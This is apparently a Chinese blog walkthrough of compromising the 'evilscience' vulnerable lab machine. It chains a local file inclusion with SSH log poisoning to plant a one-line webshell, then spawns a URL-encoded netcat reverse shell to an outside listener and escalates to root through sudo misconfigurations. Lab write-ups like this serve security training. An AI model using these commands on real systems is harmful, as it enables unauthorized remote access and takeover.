漏洞payload 靶机_kali渗透综合靶机(十六)--evilscience靶机

r囧r小猫 2022-12-31 09:28 122阅读 0赞

kali渗透综合靶机(十六)--evilscience靶机

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24

![Image 1][]

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.10.195

![Image 1][]

三、端口服务识别

1. nmap -sV -T4 -O -p 22,80 192.168.10.195

![Image 1][]

四、漏洞查找与利用

1.目录扫描

![Image 1][]

2. 发现http://192.168.10.195/fuck，下载下来没啥用

3.发现http://192.168.10.195/index.php?file=about.php 测试存在本地文件包含

![Image 1][]

4.包含/etc/passwd,失败,尝试用burp进行模糊测试,可以看到可以包含/var/log/auth.log文件,可以利用ssh登录产生错误日志

![Image 1][]

5. 利用ssh登录产生错误日志,可以看到错误信息写入到日志中,可以利用ssh错误日志写入一句话木马

![Image 1][]

![Image 1][]

6.利用ssh日志写入一句话木马

![Image 1][]

7.测试一句话是否成功写入,下图可以看到成功执行,然后可以执行任何系统命令

![Image 1][]

8.反弹shell,需要对反弹shell中特殊符号进行url编码,不要对整个url进行编码

mknod+backpipe+p+%26%26+nc+192.168.1.66+9999+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe

![Image 1][]

9.kali端开启监听，然后用python -c ‘import pty;pty.spawn(“/bin/bash”)’,重新打开一个终端

![Image 1][]

10.上图看到用python -c 打开的一个终端还是受限的,需要在用awk ‘BEGIN\{system(“/bin/bash”)\}’重新打开一个终端

提权一:

1.Sudo -l查看是否属于sudo组

![Image 1][]

2. 可以使用sudo权限不需要密码执行xxxlogauditorxxx.py，查看一下该文件的权限, 该py文件的配置错误，导致可以直接以root权限执行命令,查看脚本存在命令执行漏洞

![Image 1][]

3.msfvenom生成一个payload,上传到目标,增加执行权限

![Image 1][]

4.sudo运行该脚本,

![Image 1][]

5.kali开启监听

![Image 1][]

提权二:

1.首先给/etc/sudoers加写入权限

![Image 1][]

2.然后把当前用户以不用密码的登录方式添加到sudo组

![Image 1][]

3.sudo -i 获得root权限

![Image 1][]

[Image 1]:

发表评论取消回复

表情：

评论列表（有 0 条评论，122人围观）

还没有评论，来说两句吧...

相关阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)从信息收集到拿到低权限，最后提权获取最高权限，详细解读

待我称王封你为后i/ 2024年04月29日 02:05/ 0 赞/ 41 阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)从信息收集到拿到低权限，最后提权获取最高权限，详细解读

刺骨的言语ヽ痛彻心扉/ 2024年04月29日 01:59/ 0 赞/ 28 阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)从信息收集到拿到低权限，最后提权获取最高权限，详细解读

男娘i/ 2024年04月29日 01:58/ 0 赞/ 26 阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解从信息收集到拿到低权限，最后提权获取最高权限，详细解读

妖狐艹你老母/ 2024年04月29日 01:54/ 0 赞/ 26 阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解从信息收集到拿到低权限，最后提权获取最高权限，详细解读

末蓝、/ 2024年04月29日 01:50/ 0 赞/ 28 阅读

相关 windows靶机_msfvenom生成木马之控制靶机

1、简介本篇文章将会用msfvenom生成一个windows下可执行木马exe的文件，用kali监听，靶机win10运行木马程序，实现控制靶机win10。 2、实验

小灰灰/ 2023年01月12日 10:27/ 0 赞/ 221 阅读

相关漏洞payload 靶机_kali渗透综合靶机(十六)--evilscience靶机

kali渗透综合靶机(十六)--evilscience靶机一、主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 ![Image

r囧r小猫/ 2022年12月31日 09:28/ 0 赞/ 123 阅读

相关【vulnhub】靶机- [DC系列]DC9（附靶机)）

主机信息 Kali：192.168.56.113 DC9：192.168.56.112 实验过程先进行主机探测，查找靶机的IP地址: > arp-scan --in

心已赠人/ 2022年10月25日 05:53/ 0 赞/ 141 阅读

相关 kali笔记(一)-安装kali和靶机

1.kali 安装 [https://www.kali.org/downloads/，下载kali,就直接下载虚拟机镜像版的就行，我这里用的是VirtualBox，然后在V

喜欢ヅ旅行/ 2021年12月18日 05:35/ 0 赞/ 937 阅读

相关 docker 漏洞测试靶机环境靶机平台 vulhub vulapps 简介

在实际学习中，经常需要模拟不同的漏洞环境，而使用公网的实例的话，多多少少又存在一些风险，因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案。Docker是近两年来十分流行的

怼烎@/ 2021年07月29日 00:57/ 0 赞/ 863 阅读